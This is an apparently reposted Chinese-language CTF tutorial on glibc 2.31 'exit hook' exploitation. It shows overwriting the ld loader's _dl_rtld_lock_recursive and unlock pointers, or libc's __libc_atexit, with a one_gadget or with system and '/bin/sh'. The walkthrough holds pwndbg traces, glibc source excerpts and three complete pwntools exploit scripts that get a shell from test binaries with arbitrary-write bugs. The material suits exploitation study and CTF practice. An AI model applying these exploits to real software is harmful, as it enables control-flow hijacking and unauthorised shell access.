exit hook


之前經常改 malloc_hook , realloc_hook,free_hook 為 one_gadget 來 get shell ,最近看到一種利用是改 exit hook(winmt師傅告訴我 其實沒有exit hook,它是函數指針)。

改 exit_hook 有兩種改法,一個是改為 one_gadget ,一個是改為 system ,再控制參數。

首先來看看 exit 這個函數里面究竟是如何調用的。(由於網上 libc版本多為 2.23 ,2.27我就用 2.31 的 libc 來做了實驗)

進入 exit 之后我們發現它調用了 __run_exit_handlers ,我們單步進入 __run_exit_handlers。

 1    0x7ffff7e09bc5 <exit+5>       pop    rax
 2    0x7ffff7e09bc6 <exit+6>       mov    ecx, 1
 3    0x7ffff7e09bcb <exit+11>      mov    edx, 1
 4    0x7ffff7e09bd0 <exit+16>      lea    rsi, [rip + 0x1a1b41]         <0x7ffff7fab718>
 5    0x7ffff7e09bd7 <exit+23>      sub    rsp, 8
 60x7ffff7e09bdb <exit+27>      call   __run_exit_handlers                <__run_exit_handlers>
 7         rdi: 0x0
 8         rsi: 0x7ffff7fab718 (__exit_funcs) —▸ 0x7ffff7fad980 (initial) ◂— 0x0
 9         rdx: 0x1
10         rcx: 0x1
11  
12    0x7ffff7e09be0 <on_exit>      endbr64 
13    0x7ffff7e09be4 <on_exit+4>    push   r12
14    0x7ffff7e09be6 <on_exit+6>    push   rbp
15    0x7ffff7e09be7 <on_exit+7>    push   rbx
16    0x7ffff7e09be8 <on_exit+8>    test   rdi, rdi

我們發現 __run_exit_handlers 又會調用 _dl_fini 函數,我們再單步進入。

1    0x7ffff7e1ea0a <__run_exit_handlers+218>    mov    rdi, qword ptr [rax + 0x20]
2    0x7ffff7e1ea0e <__run_exit_handlers+222>    mov    qword ptr [rax + 0x10], 0
3    0x7ffff7e1ea16 <__run_exit_handlers+230>    mov    esi, ebp
4    0x7ffff7e1ea18 <__run_exit_handlers+232>    ror    rdx, 0x11
5    0x7ffff7e1ea1c <__run_exit_handlers+236>    xor    rdx, qword ptr fs:[0x30]
60x7ffff7e1ea25 <__run_exit_handlers+245>    call   rdx                           <_dl_fini>
7  
8    0x7ffff7e1ea27 <__run_exit_handlers+247>    jmp    __run_exit_handlers+106                <__run_exit_handlers+106>

看一下 _dl_fini 的源碼得知,會調用 rtld_lock_default_lock_recursive 和 rtld_lock_default_unlock_recursive 函數,並且有一個 GL(dl_load_lock) 的傳參。

 
         
void
_dl_fini (void) { /* Lots of fun ahead. We have to call the destructors for all still  loaded objects, in all namespaces. The problem is that the ELF  specification now demands that dependencies between the modules  are taken into account. I.e., the destructor for a module is  called before the ones for any of its dependencies.  To make things more complicated, we cannot simply use the reverse  order of the constructors. Since the user might have loaded objects  using `dlopen' there are possibly several other modules with its  dependencies to be taken into account. Therefore we have to start  determining the order of the modules once again from the beginning. */ /* We run the destructors of the main namespaces last. As for the  other namespaces, we pick run the destructors in them in reverse  order of the namespace ID. */ #ifdef SHARED int do_audit = 0; again: #endif for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns) { /* Protect against concurrent loads and unloads. */ __rtld_lock_lock_recursive (GL(dl_load_lock)); unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded; /* No need to do anything for empty namespaces or those used for  auditing DSOs. */ if (nloaded == 0 #ifdef SHARED || GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit #endif ) __rtld_lock_unlock_recursive (GL(dl_load_lock));
 

 rtld_lock_default_lock_recursive 和 rtld_lock_default_unlock_recursive 的定義:

# define __rtld_lock_lock_recursive(NAME) \
 GL(dl_rtld_lock_recursive) (&(NAME).mutex) # define __rtld_lock_unlock_recursive(NAME) \  GL(dl_rtld_unlock_recursive) (&(NAME).mutex) #else # define __rtld_lock_lock_recursive(NAME) \  __libc_maybe_call (__pthread_mutex_lock, (&(NAME).mutex), 0) # define __rtld_lock_unlock_recursive(NAME) \  __libc_maybe_call (__pthread_mutex_unlock, (&(NAME).mutex), 0) #endif

 

進入之后找到調用的兩個關鍵函數  rtld_lock_default_lock_recursive 和 rtld_lock_default_unlock_recursive,並且在調用之前會把某個地址里的值賦給 rdi。

   0x7ffff7fe0d7d <_dl_fini+45>     lea    rbx, [r12 + r12*8]
   0x7ffff7fe0d81 <_dl_fini+49>     lea    rax, [rip + 0x1c2d8]          <0x7ffff7ffd060>
   0x7ffff7fe0d88 <_dl_fini+56>     shl    rbx, 4
   0x7ffff7fe0d8c <_dl_fini+60>     add    rbx, rax
   0x7ffff7fe0d8f <_dl_fini+63>     jmp    _dl_fini+106                <_dl_fini+106>
    ↓
 ► 0x7ffff7fe0dba <_dl_fini+106>    lea    rdi, [rip + 0x1cba7]          <0x7ffff7ffd968>
   0x7ffff7fe0dc1 <_dl_fini+113>    call   qword ptr [rip + 0x1d1a1]     <rtld_lock_default_lock_recursive>
1 pwndbg> x/gx 0x7ffff7ffd968
2 0x7ffff7ffd968 <_rtld_global+2312>:    0x0000000000000000
   0x7ffff7fe0ec0 <_dl_fini+368>    mov    ecx, 1
   0x7ffff7fe0ec5 <_dl_fini+373>    call   _dl_sort_maps                <_dl_sort_maps>
 
   0x7ffff7fe0eca <_dl_fini+378>    lea    rdi, [rip + 0x1ca97]          <0x7ffff7ffd968>
   0x7ffff7fe0ed1 <_dl_fini+385>    call   qword ptr [rip + 0x1d099]     <rtld_lock_default_unlock_recursive>

那個地址其實是結構體 _rtld_global ,里的一部分 ,存在於_dl_load_lock 里,是 _rtld_global._dl_load_lock.mutex.__size的地址。

 1 _dl_load_lock = {
 2     mutex = {
 3       __data = {
 4         __lock = 0,
 5         __count = 0,
 6         __owner = 0,
 7         __nusers = 0,
 8         __kind = 1,
 9         __spins = 0,
10         __elision = 0,
11         __list = {
12           __prev = 0x0,
13           __next = 0x0
14         }
15       },
16       __size = '\000' <repeats 16 times>, "\001", '\000' <repeats 22 times>,
17       __align = 0
18     }
19   },

 由此我們可以想到兩個方法來 get shell 一個是改 rtld_lock_default_lock_recursive 或 rtld_lock_default_unlock_recursive 為 one_gadget , 另一個更通用就是改 rtld_lock_default_lock_recursive 和 rtld_lock_default_unlock_recursive 為 system ,並且把 _rtld_global._dl_load_lock.mutex的值改為 /bin/sh\x00。

找到他們相對於 _rtld_global 偏移

  _dl_rtld_lock_recursive = 0x7ffff7fd0150 <rtld_lock_default_lock_recursive>,
  _dl_rtld_unlock_recursive = 0x7ffff7fd0160 <rtld_lock_default_unlock_recursive>,
0x7ffff7ffdf60 <_rtld_global+3840>:    0x0000000000000000    0x00007ffff7fd0150
0x7ffff7ffdf70 <_rtld_global+3856>:    0x00007ffff7fd0160    0x0000000000000000
0x7ffff7ffd968 <_rtld_global+2312>:    0x0000000000000000

我分別寫了兩個相應的任意地址寫的漏洞程序來測試是否可行。

第一個改為one_gadget,我放了一個任意地址寫。

exp: _rtld_global 的 ld 的偏移不變,而 ld 與 libc 的偏移也不變,故我們把 libc 與 ld 都加載進去。
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

s = process('./exit_onegadget')
elf = ELF('./exit_onegadget')
libc = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so')
ld = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/ld-2.31.so')

printf_addr = int(s.recv(14),16)
libc_base = printf_addr - libc.sym['printf']
#gdb.attach(s)
ld_base = libc_base + 0x1f4000
_rtld_global = ld_base + ld.sym['_rtld_global']
_dl_rtld_lock_recursive = _rtld_global + 0xf08
_dl_rtld_unlock_recursive = _rtld_global + 0xf10
#_dl_rtld_lock_recursive = 0x7ffff7fd0150
#_dl_rtld_unlock_recursive = 0x7ffff7fd0160

onegadget = [0xe6aee,0xe6af1,0xe6af4]
one_gadget = libc_base + onegadget[0]
success('one_gadget=>' + hex(one_gadget))

s.send(p64(_dl_rtld_lock_recursive))
s.send(p64(one_gadget))

s.interactive()
'''
0xe6aee execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe6af1 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe6af4 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
'''

第二個改為 system 和 /bin/sh\x00 我放了兩個任意地址寫。

exp:

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

s = process('./exit_system')
elf = ELF('./exit_system')
libc = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6')
ld = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/ld-2.31.so')

printf_addr = int(s.recv(14),16)
libc_base = printf_addr - libc.sym['printf']
#gdb.attach(s)
ld_base = libc_base + 0x1f4000
_rtld_global = ld_base + ld.sym['_rtld_global']
_dl_rtld_lock_recursive = _rtld_global + 0xf08
_dl_rtld_unlock_recursive = _rtld_global + 0xf10
_dl_load_lock = _rtld_global + 0x908
#_dl_rtld_lock_recursive = 0x7ffff7fd0150
#_dl_rtld_unlock_recursive = 0x7ffff7fd0160

s.send(p64(_dl_rtld_lock_recursive))
s.send(p64(libc_base + libc.sym['system']))
s.send(p64(_dl_load_lock)) s.send(b
'/bin/sh\x00') s.interactive()

 

============================================================================================================================

之后winmt師傅告訴我他發現了一個新的小trick,tql tql(我只是 winmt 的搬運工)

關鍵源碼:

 
         
  if (run_list_atexit) RUN_HOOK (__libc_atexit, ()); _exit (status);

void
exit (int status) { __run_exit_handlers (status, &__exit_funcs, true); } libc_hidden_def (exit)
 
         
extern void __run_exit_handlers (int status, struct exit_function_list **listp, bool run_list_atexit) attribute_hidden __attribute__ ((__noreturn__));

由這兩行他說可以改掉 __libc_atexit 來實現 get shell ,實際上經過測試確實可行。

優點是任意地址改時比上面的操作簡單,所改函數就在 libc 里,而不是在 ld 里。

缺點是無法加參數,能不能成功取決於棧結構是否匹配 one_gadget。

可以用 one_gadget 的那個程序來試試這種方法。

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

s = process('./a')
libc = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6')

printf_addr = int(s.recv(14),16)
libc_base = printf_addr - libc.sym['printf']

onegadget = [0xe6aee,0xe6af1,0xe6af4]
one_gadget = libc_base + onegadget[0]
success('one_gadget=>' + hex(one_gadget))

s.send(p64(libc_base + 0x1ED608))
s.send(p64(one_gadget))

s.interactive()

 

附件 

提取碼:1jsi

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM